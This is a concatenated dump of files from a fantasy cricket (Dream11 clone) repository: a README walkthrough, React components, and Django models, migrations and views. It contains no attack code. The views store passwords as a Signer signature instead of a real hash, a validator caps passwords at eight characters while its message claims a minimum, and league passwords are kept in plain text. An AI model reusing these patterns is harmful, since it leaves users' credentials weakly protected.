matches. And then he will be taken to the player lists page.\n\n![upcoming match](https://user-images.githubusercontent.com/33545768/94154325-9322ad80-fe9f-11ea-9e26-b904e76a16f9.png)\n\n- **Creating Team** : After selecting the match the list of the players is given to the user. Only the players corresponding to that match is shown to the user. Clicking the add button adds the player to the team of the user.\n\n![playersList](https://user-images.githubusercontent.com/33545768/94155965-5bb50080-fea1-11ea-802c-6bfb91cf51a1.png)\n\nThere is an option to search players by their name. Also there are options to filter out the players according to their roles (wicketkeeper, batsman etc.) . After the players have been selected then the user has to confirm the team by clicking the confirm team button. The rules for selecting players is -\n 1. Maximum 2 Wicketkeeper\n 2. Maximum 4 Batsman\n 3. Maximum 2 Allrounder\n 4. Maximum 4 Bowler\n 5. Total 11 players\n\nIf this constraint is not followed or balance is over then the user will get errors submitting the players. After selecting the players the page will look like this.\n\n![createTeam](https://user-images.githubusercontent.com/33545768/94154544-d0873b00-fe9f-11ea-8bb7-5e25549c0568.png)\n\n- **Captain and Vice Captain Selection** : After the submit\nteam button is clicked then there will be options for\nselecting captain and vice captain . A list of the 11 players\nwill be shown and one of them will be selected as captain\nand one of them will be selected as vice captains. Without\nselecting captain and vice captain the create team procedure\ncan not be finished.\n\n- **Modify Team** : After the team has finalized the user will be\ntaken to his team by clicking the My Team button. In the My\nTeam page the user will get to see all of his players selectedfor that match and their points. Now if the user wants to do\nany modification to the team then he will have to click the\nbutton Modify Team. This will take him back to the previous\npage where he can remove or add any players keeping all\nthe constraints in mind. Then he needs to follow the same\nprocedure described at the create team section.\n\n![modify team](https://user-images.githubusercontent.com/33545768/94156325-ca925980-fea1-11ea-929b-fc40c118852d.png)\n\n- **Contests** : The user can join or create leagues. In these leagues,\nvarious other users will be members and they can get to compete\nwith each other. Here the UI looks like this when the user clicks\nthe button Contests.\n\n![contests](https://user-images.githubusercontent.com/33545768/94156493-f3b2ea00-fea1-11ea-89e3-f324e73e418d.png)\n\nHere there are 3 options for the user.\n 1. **Create League**: If the user wants to create a league of his\n own then he needs to click the Create League button. After\n clicking this button a dialogue box will appear that will ask\n for league name and password. After giving a name and\n password a new league will be created.\n \n ![create league](https://user-images.githubusercontent.com/33545768/94156782-4b515580-fea2-11ea-9ffd-08ba3f45ed73.png)\n\n 2. **Join League** : A user can join a league by entering the name\n of the league he wants to join and password of the league.\n \n ![join league](https://user-images.githubusercontent.com/33545768/94156920-7045c880-fea2-11ea-8b90-a1709edf262b.png)\n\n After joining the league the information of the league is\n shown. Here the users that are in that league are shown\n with their points.\n \n ![league info](https://user-images.githubusercontent.com/33545768/94157038-923f4b00-fea2-11ea-8f1a-01ef4f28d3ef.png)\n\n 3. **My League** : The user can get the list of the leagues that he\n is in. Clicking the names of the leagues will show the details\n of the league.\n \n ![my league](https://user-images.githubusercontent.com/33545768/94157361-f82bd280-fea2-11ea-8e6c-6a5f18cdd0f8.png)\n\n- **Fantasy Stats** : In this section the statistics of the players are shown. Which players have the best points are shown. The statistics are categorized according to the role of the players.\n\n![playerStat](https://user-images.githubusercontent.com/33545768/94165928-8fe1ee80-feac-11ea-864d-d843f60697c4.png)\n"
},
{
"alpha_fraction": 0.44568556547164917,
"alphanum_fraction": 0.45238760113716125,
"avg_line_length": 31.2702693939209,
"blob_id": "6f396ddc302fa646a77013c0ca266f3b0cc040df",
"content_id": "3036e8ac866a07923e970cb8f4edabbf85d20c15",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 3581,
"license_type": "no_license",
"max_line_length": 111,
"num_lines": 111,
"path": "/dream11_frontend/src/Component/Players/profile.js",
"repo_name": "YashvanthD/Dream11-1",
"src_encoding": "UTF-8",
"text": "import React, { Component } from 'react';\nimport {Route} from \"./index\";\n//import 'jquery';\nimport axios from \"axios\";\nimport './css/profile.css';\nimport Paper from '@material-ui/core/Paper';\nimport MaterialTable from \"material-table\";\n\nclass Profile extends Component {\n constructor(props){\n super(props);\n this.state = {\n players:[],\n columns: [\n { title: \"Opponent\", field: \"awayTeam\"},\n { title: \"Date\", field: \"date\"},\n { title: \"Points\", field: \"total_points\"}\n ],\n playerPoints:[],\n };\n\n this.loadPlayers = this.loadPlayers.bind(this);\n this.loadPoints = this.loadPoints.bind(this);\n }\n\n componentWillMount(){\n this.loadPlayers();\n this.loadPoints();\n }\n\n async loadPlayers()\n {\n const promise = await axios.get(\"http://localhost:8000/dream11/api/PlayerData/\");\n const status = promise.status;\n if(status===200)\n {\n const data = promise.data;\n this.setState({players:data});\n }\n }\n\n async loadPoints()\n {\n let playerName = this.props.match.params.name;\n var headers = {\n 'content_type':'application/json',\n }\n \n //var datai=[];\n var ser = {name: playerName};\n const response = await axios.post(\"http://localhost:8000/dream11/api/playerHistory/\",ser,headers);\n if(response.status === 200){\n console.log(\"inserted successfully\");\n console.log(response.data.data);\n let responsedata = response.data.data;\n this.setState({\n playerPoints:responsedata\n })\n }\n }\n\n render() {\n console.log(this.props.match.params.name.toLowerCase());\n let playerI = this.state.players.filter(\n (player) => {\n return player.name.toLowerCase().indexOf(this.props.match.params.name.toLowerCase()) !== -1 ;\n });\n\n let points = this.state.playerPoints.filter(\n (pl) => {\n return pl.id === this.props.match.params.id ;\n });\n console.log(points);\n console.log(playerI);\n return (\n <div>\n {\n playerI.map(function (value) {\n return <div className=\"container-fluid \">\n\n <div className=\"card pro_file\" style={{width: '300px'}}>\n <div>\n <img class=\"playerImage\" src={value.image} alt=\"Player Image\"></img>\n </div>\n <div className=\"card-body\">\n <h4 className=\"card-title\">{value.name}</h4>\n <p className=\"card-text\"> {value.country}</p>\n </div>\n </div>\n </div>\n })\n }\n <div className=\"container-fluid\">\n <Paper>\n <MaterialTable\n title=\"Player Stats\"\n columns={this.state.columns}\n data={this.state.playerPoints}\n options={{\n search: false,\n paging: false\n }}\n \n />\n </Paper>\n </div>\n </div>\n );\n }\n }\nexport default Profile;"
},
{
"alpha_fraction": 0.5077720284461975,
"alphanum_fraction": 0.5880829095840454,
"avg_line_length": 20.44444465637207,
"blob_id": "4254d146f3543e5458ff78fcda0a6c72aa9fef1f",
"content_id": "3c5bcbc25fdb14510a9693865396da1603725ba5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 386,
"license_type": "no_license",
"max_line_length": 51,
"num_lines": 18,
"path": "/create_team/migrations/0004_auto_20190724_1053.py",
"repo_name": "YashvanthD/Dream11-1",
"src_encoding": "UTF-8",
"text": "# Generated by Django 2.0.2 on 2019-07-24 04:53\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('create_team', '0003_auto_20190724_0226'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='userteampoints',\n name='points',\n field=models.FloatField(),\n ),\n ]\n"
},
{
"alpha_fraction": 0.6938775777816772,
"alphanum_fraction": 0.6938775777816772,
"avg_line_length": 17.5,
"blob_id": "f483886bb1f876461b9dbf2b52a3d26925d886d1",
"content_id": "bfdd121fd1a8e4f407053c718cfb857ea1a62053",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 147,
"license_type": "no_license",
"max_line_length": 58,
"num_lines": 8,
"path": "/core/urls.py",
"repo_name": "YashvanthD/Dream11-1",
"src_encoding": "UTF-8",
"text": "from django.conf.urls import url\nfrom . import views\n\napp_name=\"core\"\n\nurlpatterns = [\n url(r'^login/loggedIN/$', views.coredex, name=\"index\")\n]"
},
{
"alpha_fraction": 0.5276450514793396,
"alphanum_fraction": 0.5351535677909851,
"avg_line_length": 21.90625,
"blob_id": "15bba49f4e79b176963f3c007204a446629c244d",
"content_id": "df5dd4a774f06adb342a8af8e6feaf0b28c43260",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 1465,
"license_type": "no_license",
"max_line_length": 105,
"num_lines": 64,
"path": "/dream11_frontend/src/Component/dashboard/index.js",
"repo_name": "YashvanthD/Dream11-1",
"src_encoding": "UTF-8",
"text": "import React, { Component } from 'react';\n\nimport './css/playerListCard.css';\n//import 'jquery';\nimport axios from \"axios\";\n\nimport { Link } from \"react-router-dom\";\n\nexport class Dashboard extends Component {\n constructor(props){\n super(props);\n this.state = {\n series:[],\n \n };\n\n this.loadSeries = this.loadSeries.bind(this);\n }\n\n componentWillMount(){\n this.loadSeries();\n }\n\n async loadSeries()\n {\n const promise = await axios.get(\"http://localhost:8000/dream11/api/MatchData/\");\n const status = promise.status;\n if(status===200)\n {\n const data = promise.data.data;\n console.log(data);\n this.setState({series:data});\n }\n }\n\n render(){\n\n let tagList = this.state.series.map(function(value,index)\n {\n return <div className=\"profile\">\n <div className=\"content\">\n <div className=\"text\">\n <h6><span className=\"card__category\">{value.home_team} VS {value.away_team}</span></h6>\n </div>\n <Link to={`/dashboard/players/${value.home_team}/${value.away_team}/${value.Series_name}`}>\n <div className=\"btn\">\n <span></span>\n </div>\n </Link>\n \n </div>\n </div>\n }.bind(this));\n\n return(\n <div>\n <div className=\"profilecontain\">\n {tagList}\n </div>\n </div>\n );\n }\n}\nexport default Dashboard;"
},
{
"alpha_fraction": 0.46342551708221436,
"alphanum_fraction": 0.46833184361457825,
"avg_line_length": 30.591548919677734,
"blob_id": "84aa084f41d3c32540044330d87174b7a94e3754",
"content_id": "5ab19355f46c385d9b997ef2f77fcc2c79ad1730",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 2242,
"license_type": "no_license",
"max_line_length": 130,
"num_lines": 71,
"path": "/dream11_frontend/src/Component/nion_ui/league/LeagueInfo.js",
"repo_name": "YashvanthD/Dream11-1",
"src_encoding": "UTF-8",
"text": "import React, { Component } from 'react'\nimport Paper from '@material-ui/core/Paper';\nimport MaterialTable from \"material-table\";\nimport axios from \"axios\";\n\nclass LeagueInfo extends Component {\n constructor(props) {\n super(props)\n \n this.state = {\n columns: [\n { title: \"Sl No.\", field: \"ranking\"},\n { title: \"Username\", field: \"name\"},\n ],\n leagues:[],\n }\n this.loadLeagues = this.loadLeagues.bind(this);\n }\n componentDidMount(){\n this.loadLeagues();\n }\n async loadLeagues(){\n let leagueName=this.props.match.params.league_name;\n console.log(leagueName);\n /*var data ='{ ';\n this.state.addedPlayers.map(function (value) {\n data += '{ \"name\":\"'+value.name+'\",\"role\":\"'+value.role+'\",\"country\":\"'+value.country+'\",\"image\":\"'+value.image+'\" },'\n })\n data+=' }'*/\n \n var headers = {\n 'content_type':'application/json',\n }\n \n //var datai=[];\n var ser = {league_name: leagueName};\n const response = await axios.post(\"http://localhost:8000/dream11/api/leagueInfo/\",ser,headers);\n if(response.status === 200){\n console.log(\"inserted successfully\");\n console.log(response.data);\n console.log(response.data.data.league_name);\n let responsedata = response.data.data;\n for (let index = 0; index < responsedata.length; index++) {\n responsedata[index].ranking = index+1;\n \n }\n this.setState({\n leagues:responsedata\n })\n }\n }\n \n render() {\n return (\n <Paper>\n <MaterialTable\n title={this.props.match.params.league_name}\n columns={this.state.columns}\n data={this.state.leagues}\n options={{\n search: true,\n paging: false\n }}\n \n />\n </Paper>\n )\n }\n}\n\nexport default LeagueInfo"
},
{
"alpha_fraction": 0.6324503421783447,
"alphanum_fraction": 0.6324503421783447,
"avg_line_length": 35.875,
"blob_id": "7e02b21a563f44bac25425e097ed1a5cd7e23532",
"content_id": "5dd8026a8536f2630880ea1c57d51a21fe458b1e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 604,
"license_type": "no_license",
"max_line_length": 77,
"num_lines": 16,
"path": "/user_registration/urls.py",
"repo_name": "YashvanthD/Dream11-1",
"src_encoding": "UTF-8",
"text": "from . import views\r\nfrom django.conf.urls import url, include\r\n\r\napp_name = \"user_registration\"\r\n\r\n\r\nurlpatterns = [\r\n url(r'^$', views.index, name=\"index\"),\r\n url(r'^register/$', views.register, name=\"register\"),\r\n url(r'^register/login/$', views.registration, name=\"registration\"),\r\n url(r'^login/$', views.login, name=\"login\"),\r\n url(r'^Admin/$', views.Admin, name='admin'),\r\n url(r'^update_points/$', views.update_user_points, name='update_points'),\r\n url(r'^Admin/csv/$', views.upload_csv, name='upload_csv'),\r\n url(r'^login/loggedIN/CRT/$', include('create_team.urls')),\r\n]"
},
{
"alpha_fraction": 0.5509467720985413,
"alphanum_fraction": 0.5779982209205627,
"avg_line_length": 28.972972869873047,
"blob_id": "4eae2d2d044b39c3ba2337180f8ef0a10f3b3e29",
"content_id": "d7f334eff30b7b9811295337b42b734e1ca9c095",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1109,
"license_type": "no_license",
"max_line_length": 177,
"num_lines": 37,
"path": "/user_registration/migrations/0006_auto_20190903_2129.py",
"repo_name": "YashvanthD/Dream11-1",
"src_encoding": "UTF-8",
"text": "# Generated by Django 2.0.2 on 2019-09-03 15:29\n\nimport django.core.validators\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('user_registration', '0005_users_contests'),\n ]\n\n operations = [\n migrations.RemoveField(\n model_name='users',\n name='contests',\n ),\n migrations.RemoveField(\n model_name='users',\n name='id',\n ),\n migrations.AlterField(\n model_name='users',\n name='email',\n field=models.EmailField(max_length=250, primary_key=True, serialize=False),\n ),\n migrations.AlterField(\n model_name='users',\n name='name',\n field=models.CharField(default='noName', max_length=250),\n ),\n migrations.AlterField(\n model_name='users',\n name='password',\n field=models.CharField(max_length=250, validators=[django.core.validators.MaxLengthValidator(limit_value=8, message='password must be at least 8 characters long')]),\n ),\n ]\n"
},
{
"alpha_fraction": 0.7218297719955444,
"alphanum_fraction": 0.7295660972595215,
"avg_line_length": 38.62666702270508,
"blob_id": "3548b08886daa622070ce6f3c4433d94bca18dfc",
"content_id": "2640b1acd570a75fa09d8a577177cbfd0ecfd2cc",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2973,
"license_type": "no_license",
"max_line_length": 84,
"num_lines": 75,
"path": "/create_team/models.py",
"repo_name": "YashvanthD/Dream11-1",
"src_encoding": "UTF-8",
"text": "from django.db import models\nfrom user_registration.models import Players, Users\n\n\nclass SeriesList(models.Model):\n Series_name = models.CharField(max_length=250, unique=True, primary_key=True)\n No_of_matches = models.IntegerField()\n Home_team = models.CharField(max_length=250)\n Away_team = models.CharField(max_length=250)\n\n\nclass SeriesSquads(models.Model):\n Series_name = models.ForeignKey(SeriesList, on_delete=models.CASCADE)\n Squad_player = models.ForeignKey(Players, on_delete=models.CASCADE)\n\nclass TeamCreated(models.Model):\n Series_name = models.ForeignKey(SeriesList, on_delete=models.CASCADE)\n Match_no = models.IntegerField()\n User_id = models.ForeignKey(Users, on_delete=models.CASCADE)\n Match_day = models.DateField()\n\n\nclass TeamPlayers(models.Model):\n Team_created = models.ForeignKey(TeamCreated,on_delete=models.CASCADE)\n Players = models.ForeignKey(Players, on_delete=models.CASCADE)\n\nclass Matches(models.Model):\n Series_name = models.ForeignKey(SeriesList, on_delete=models.CASCADE)\n home_team = models.CharField(max_length=250)\n away_team = models.CharField(max_length=250)\n match_date = models.DateTimeField()\n\n def __str__(self):\n return self.home_team + ' VS ' + self.away_team + ' ' + str(self.match_date)\n\nclass PlayerPoints(models.Model):\n player_id = models.ForeignKey(Players, on_delete=models.CASCADE)\n match_id = models.ForeignKey(Matches, on_delete=models.CASCADE)\n series_name = models.ForeignKey(SeriesList, on_delete=models.CASCADE)\n starting_eleven = models.IntegerField()\n runs = models.FloatField()\n fours = models.FloatField()\n sixes = models.IntegerField()\n strike_rate = models.IntegerField()\n fifty = models.IntegerField()\n hundred = models.IntegerField()\n duck = models.IntegerField()\n wickets = models.IntegerField()\n maiden = models.IntegerField()\n economy = models.IntegerField()\n bonus = models.IntegerField()\n catch = models.IntegerField()\n runout_stumping = models.IntegerField()\n total_points = models.FloatField()\n\nclass UserTeamPoints(models.Model):\n user_id = models.ForeignKey(Users, on_delete=models.CASCADE)\n series_name = models.ForeignKey(SeriesList, on_delete=models.CASCADE)\n match_id = models.ForeignKey(Matches, on_delete=models.CASCADE)\n points = models.FloatField()\n team = models.TextField()\n\nclass PrivateContest(models.Model):\n contest_code = models.CharField(max_length=10, unique=True)\n contest_creator = models.ForeignKey(Users, on_delete=models.CASCADE)\n participants = models.TextField()\n\nclass Leagues(models.Model):\n owner = models.ForeignKey(Users, on_delete=models.CASCADE)\n league_name = models.CharField(default=\"\", max_length=250)\n password = models.CharField(max_length=250)\n \nclass LeagueMembers(models.Model):\n league = models.ForeignKey(Leagues, on_delete=models.CASCADE)\n user = models.ForeignKey(Users, on_delete=models.CASCADE)\n\n"
},
{
"alpha_fraction": 0.4055263102054596,
"alphanum_fraction": 0.41078945994377136,
"avg_line_length": 32.043479919433594,
"blob_id": "cc643770d4b037bbe0c95847319aab5494780ed0",
"content_id": "db473144dfcbcdf49ed343efb7310197e3ec5ec9",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 3800,
"license_type": "no_license",
"max_line_length": 105,
"num_lines": 115,
"path": "/dream11_frontend/src/Component/nion_ui/FantasyStats.js",
"repo_name": "YashvanthD/Dream11-1",
"src_encoding": "UTF-8",
"text": "import React, { Component } from 'react'\nimport Paper from '@material-ui/core/Paper';\nimport MaterialTable from \"material-table\";\nimport axios from \"axios\";\n\nclass FantasyStats extends Component {\n constructor(props) {\n super(props)\n \n this.state = {\n columns: [\n { title: \"Ranking\", field: \"ranking\"},\n { title: \"Player Name\", field: \"name\"},\n // { title: \"Country\", field: \"country\"},\n { title: \"Total Points\", field: \"total_points\"}\n ],\n batsman: [],\n bowler: [],\n allrounder: [],\n wicketkeeper:[]\n }\n this.loadStats = this.loadStats.bind(this);\n }\n\n componentWillMount(){\n this.loadStats();\n }\n\n async loadStats(){\n const home = 'INDIA'\n const away = 'NEW-ZEALAND'\n var ser = {hometeam: home, awayteam: away};\n var headers = {\n 'content_type':'application/json',\n }\n const response = await axios.post(\"http://127.0.0.1:8000/dream11/api/FantasyStats/\",ser,headers);\n console.log(response.data);\n const responsedata = response.data;\n for (let i = 0; i < responsedata.allrounder.length; i++) {\n responsedata.allrounder[i].ranking = i+1;\n }\n for (let i = 0; i < responsedata.batsmen.length; i++) {\n responsedata.batsmen[i].ranking = i+1;\n }\n for (let i = 0; i < responsedata.bowlers.length; i++) {\n responsedata.bowlers[i].ranking = i+1;\n }\n for (let i = 0; i < responsedata.wicketkeepers.length; i++) {\n responsedata.wicketkeepers[i].ranking = i+1;\n }\n \n this.setState({\n batsman: responsedata.batsmen,\n bowler: responsedata.bowlers,\n allrounder: responsedata.allrounder,\n wicketkeeper: responsedata.wicketkeepers\n });\n }\n render() {\n return (\n <React.Fragment>\n <Paper>\n <MaterialTable\n title=\"Top Batsmen\"\n columns={this.state.columns}\n data={this.state.batsman}\n options={{\n search: false,\n paging: false\n }}\n \n />\n </Paper>\n <Paper>\n <MaterialTable\n title=\"Top Bowlers\"\n columns={this.state.columns}\n data={this.state.bowler}\n options={{\n search: false,\n paging: false\n }}\n \n />\n </Paper>\n <Paper>\n <MaterialTable\n title=\"Top Allrounders\"\n columns={this.state.columns}\n data={this.state.allrounder}\n options={{\n search: false,\n paging: false\n }}\n \n />\n </Paper>\n <Paper>\n <MaterialTable\n title=\"Top Wicketkeepers\"\n columns={this.state.columns}\n data={this.state.wicketkeeper}\n options={{\n search: false,\n paging: false\n }}\n \n />\n </Paper>\n </React.Fragment>\n )\n }\n}\n\nexport default FantasyStats\n"
},
{
"alpha_fraction": 0.6355710625648499,
"alphanum_fraction": 0.6625980734825134,
"avg_line_length": 37.55172348022461,
"blob_id": "de366defe89442dc542b2ce0e661296e2cc7f656",
"content_id": "e4959f27599f7777c7c1e6f9f5da923c3b113df6",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1147,
"license_type": "no_license",
"max_line_length": 149,
"num_lines": 29,
"path": "/user_registration/models.py",
"repo_name": "YashvanthD/Dream11-1",
"src_encoding": "UTF-8",
"text": "from django.db import models\r\nfrom django.core.validators import MaxLengthValidator\r\n\r\n# class Users(models.Model):\r\n# name = models.CharField(default=\"\", max_length=250)\r\n# email = models.CharField(max_length=250)\r\n# password = models.CharField(max_length=250)\r\n# contests = models.TextField(default=\"[]\")\r\n\r\n# def __str__(self):\r\n# return self.email+' - '+self.password\r\n\r\nclass Players(models.Model):\r\n name = models.CharField(default=\"\", max_length=250)\r\n country = models.CharField(max_length=250)\r\n image = models.CharField(max_length=500)\r\n role = models.CharField(max_length=30)\r\n credit = models.FloatField(default=None)\r\n\r\n def __str__(self):\r\n return self.name + ' - ' + self.role + ' - ' + self.country\r\n\r\nclass Users(models.Model):\r\n name = models.CharField(default=\"noName\", max_length=250)\r\n email = models.EmailField(max_length=250, primary_key=True)\r\n password = models.CharField(max_length=250,validators=[MaxLengthValidator(limit_value=8, message=\"password must be at least 8 characters long\")])\r\n\r\n def __str__(self):\r\n return self.name+' - '+self.email\r\n"
},
{
"alpha_fraction": 0.5995893478393555,
"alphanum_fraction": 0.638603687286377,
"avg_line_length": 24.63157844543457,
"blob_id": "c095bc0428a4226814a73c4061ad6faf3762e92a",
"content_id": "ff853530895bee59246f9804fb20610bbb3e8128",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 487,
"license_type": "no_license",
"max_line_length": 113,
"num_lines": 19,
"path": "/create_team/migrations/0002_auto_20190723_1838.py",
"repo_name": "YashvanthD/Dream11-1",
"src_encoding": "UTF-8",
"text": "# Generated by Django 2.0.2 on 2019-07-23 12:38\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('create_team', '0001_initial'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='seriessquads',\n name='Squad_player',\n field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='user_registration.Players'),\n ),\n ]\n"
},
{
"alpha_fraction": 0.6467296481132507,
"alphanum_fraction": 0.6558237075805664,
"avg_line_length": 30.511363983154297,
"blob_id": "daf7a8266f4fe8b22023615a0d53d42f4028c143",
"content_id": "f9093f8a1f051e5996275d49ea155448efa259d9",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2859,
"license_type": "no_license",
"max_line_length": 168,
"num_lines": 88,
"path": "/user_registration/views.py",
"repo_name": "YashvanthD/Dream11-1",
"src_encoding": "UTF-8",
"text": "from django.shortcuts import render, get_object_or_404\r\nfrom django.http import HttpResponse\r\nfrom .crawler import crawling,insert_player_info_db\r\nfrom .data_insert import insert_crawled_data, insert_credit, insert_non_ranked_credit, insert_all_players, user_team_insert, insert_match_scorecard, insert_user_points\r\nfrom django.shortcuts import render\r\nfrom .models import Users,Players\r\nimport csv\r\nfrom django.core.signing import Signer\r\n\r\n\r\n\r\ndef index(request):\r\n return render(request, 'home/index.html',{})\r\n\r\n\r\ndef registration(request):\r\n name = request.POST['namei']\r\n email = request.POST['email']\r\n password = request.POST['password']\r\n signer = Signer()\r\n Hashed_pass = signer.sign(password).split(':',1)\r\n newuser = Users(name=name, email=email, password=Hashed_pass[1])\r\n newuser.save()\r\n return render(request, 'login.html', {})\r\n\r\n\r\ndef login(request):\r\n return render(request, 'login.html', {})\r\n\r\n\r\ndef loggedin(request):\r\n email = request.POST['email']\r\n password = request.POST['password']\r\n signer = Signer()\r\n original = signer.sign(password).split(':',1)\r\n user = get_object_or_404(Users,email=email,password=original[1])\r\n playerlist = Players.objects.all()\r\n return render(request, 'playerList.html',{'playerlist' : playerlist})\r\n\r\ndef upload_csv(request):\r\n if request.POST:\r\n file = request.FILES['csv_file']\r\n decoded_file = file.read().decode('utf-8').splitlines()\r\n reader = csv.DictReader(decoded_file)\r\n for row in reader:\r\n if len(row) == 4:\r\n insert_player_info_db(row)\r\n return render(request, 'home/admin.html', {})\r\n\r\n\r\ndef player_search(request):\r\n search_keyword = request.GET['keyword']\r\n playerlist = Players.objects.all()\r\n search_result = []\r\n for player in playerlist:\r\n name = player.name.lower()\r\n search_keyword = search_keyword.lower()\r\n if search_keyword in name:\r\n print(player.name)\r\n search_result.append(player)\r\n return render(request, 'playerList.html',{'playerlist' : search_result})\r\n\r\ndef profileView(request,name):\r\n player_profile = Players.objects.get(name=name)\r\n return render(request,'profile.html',{'profile' : player_profile})\r\n\r\n\r\n\r\ndef register(request):\r\n return render(request, 'registration.html' )\r\n\r\n\r\ndef Admin(request):\r\n # crawling()\r\n # Players.objects.all().delete()\r\n # insert_crawled_data()\r\n # insert_credit()\r\n # insert_non_ranked_credit()\r\n # insert_all_players()\r\n # user_team_insert()\r\n insert_match_scorecard(908, 1, 'ICC Cricket World Cup 2019')\r\n return render(request, 'home/admin.html',{})\r\n\r\ndef update_user_points(request):\r\n insert_user_points(1, 1, 'ICC Cricket World Cup 2019')\r\n return render(request, 'home/admin.html')\r\n\r\n# Create your views here."
},
{
"alpha_fraction": 0.7534246444702148,
"alphanum_fraction": 0.7534246444702148,
"avg_line_length": 22.66666603088379,
"blob_id": "e7c44ada4aeb047cc31eaa4041b492654c933798",
"content_id": "5f49f2b359421b891a8334c78c9f4cfdf347974e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 146,
"license_type": "no_license",
"max_line_length": 45,
"num_lines": 6,
"path": "/dream11/views.py",
"repo_name": "YashvanthD/Dream11-1",
"src_encoding": "UTF-8",
"text": "from django.http import HttpResponse\r\nfrom django.shortcuts import render\r\n\r\n\r\ndef index(request):\r\n return render(request, 'home/index.html')"
},
{
"alpha_fraction": 0.486530601978302,
"alphanum_fraction": 0.4922448992729187,
"avg_line_length": 29.326732635498047,
"blob_id": "521da0e04b60c68cc16ad74b3d2e2bcf915303a2",
"content_id": "5e092ff945442eee824d2eb1130def6ec22dc0ce",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 6125,
"license_type": "no_license",
"max_line_length": 109,
"num_lines": 202,
"path": "/dream11_frontend/src/Component/Players/team.js",
"repo_name": "YashvanthD/Dream11-1",
"src_encoding": "UTF-8",
"text": "import React, { Component } from 'react';\nimport {Route} from \"./index\";\nimport {Link} from \"react-router-dom\";\n\nimport axios from \"axios\";\nimport './css/playerListCard.css';\nimport './css/search.css';\nimport './css/playerListCard.js';\nimport './css/search.js';\n\nclass MyTeam extends Component {\n constructor(props){\n super(props);\n this.state = {\n players:[],\n addedPlayers:[],\n \n };\n\n this.loadPlayers = this.loadPlayers.bind(this);\n this.loadTeamPlayers = this.loadTeamPlayers.bind(this);\n }\n\n componentDidMount(){\n this.loadPlayers();\n this.loadTeamPlayers();\n }\n\n async loadPlayers()\n {\n const promise = await axios.get(\"http://localhost:8000/dream11/api/PlayerData/\");\n\n const status = promise.status;\n if(status===200)\n {\n const data = promise.data;\n console.log(data);\n this.setState({\n players:data\n });\n }\n }\n\n async loadTeamPlayers()\n {\n const promise = await axios.get(\"http://localhost:8000/dream11/api/TeamPlayersData/\");\n const status = promise.status;\n if(status===200)\n {\n const data = promise.data.data;\n this.setState({addedPlayers:data});\n }\n }\n\n\n render() {\n let Home_team = this.props.match.params.home;\n let Away_team = this.props.match.params.away;\n let Series_name = this.props.match.params.series;\n let myPlayers=[]; \n this.state.addedPlayers.forEach((obj, i) => {\n this.state.players.forEach((obj2, i2) => {\n \n if(obj.Players === obj2.id){\n myPlayers.push(obj2);\n }\n })\n })\n \n //let myPlayers = this.state.players.filter(f => !this.state.addedPlayers.Players_id !== f.id);\n console.log(myPlayers);\n let addedBatsman;\n let addedBowler;\n let addedWkt;\n let addedAllrounder;\n //console.log(this.state.addedPlayers);\n if (myPlayers !== null) {\n addedBatsman = myPlayers.filter(\n (player) => {\n return player.role.toLowerCase().indexOf('batsman') !== -1;\n }\n )\n }\n if (myPlayers !== null) {\n addedBowler = myPlayers.filter(\n (player) => {\n return player.role.toLowerCase().indexOf('bowler') !== -1;\n }\n )\n }\n if (myPlayers !== null) {\n addedWkt = myPlayers.filter(\n (player) => {\n return player.role.toLowerCase().indexOf('wicketkeeper') !== -1;\n }\n )\n }\n if (myPlayers !== null) {\n addedAllrounder = myPlayers.filter(\n (player) => {\n return player.role.toLowerCase().indexOf('allrounder') !== -1;\n }\n )\n }\n \n let wicketkeeperGeseGa =addedWkt.map(function (value,index)\n {\n return <div class=\"column\">\n \n <div className=\"cards\">\n <img className=\"card-img-top card_image\" src={value.image} alt=\"Card image\"></img>\n </div>\n \n </div>\n }.bind(this));\n \n let batsmanGeseGa =addedBatsman.map(function (value,index)\n {\n return <div class=\"column\">\n \n <div className=\"cards\">\n <img className=\"card-img-top card_image\" src={value.image} alt=\"Card image\"></img>\n </div>\n \n </div>\n }.bind(this));\n \n let allrounderGeseGa =addedAllrounder.map(function (value,index)\n {\n return <div class=\"column\">\n \n <div className=\"cards\">\n <img className=\"card-img-top card_image\" src={value.image} alt=\"Card image\"></img>\n </div>\n \n </div>\n }.bind(this));\n \n let bowlerGeseGa =addedBowler.map(function (value,index)\n {\n return <div class=\"column\">\n \n <div className=\"cards\">\n <img className=\"card-img-top card_image\" src={value.image} alt=\"Card image\"></img>\n </div>\n \n </div>\n }.bind(this));\n \n return (\n <div>\n <div className=\"total_team\">\n <div className=\"container team\">\n <div className=\"coloredDiv\">\n <h3 > <span className=\"label label-success create_team card__category\">Wicketkeeper</span></h3>\n </div>\n <div className=\"team_space rows\">\n { wicketkeeperGeseGa}\n </div>\n </div>\n <div className=\"container team\">\n <div className=\"coloredDiv\">\n <h3> <span className=\"label label-success create_team card__category\">Batsman</span></h3>\n </div>\n\n <div className=\"team_space 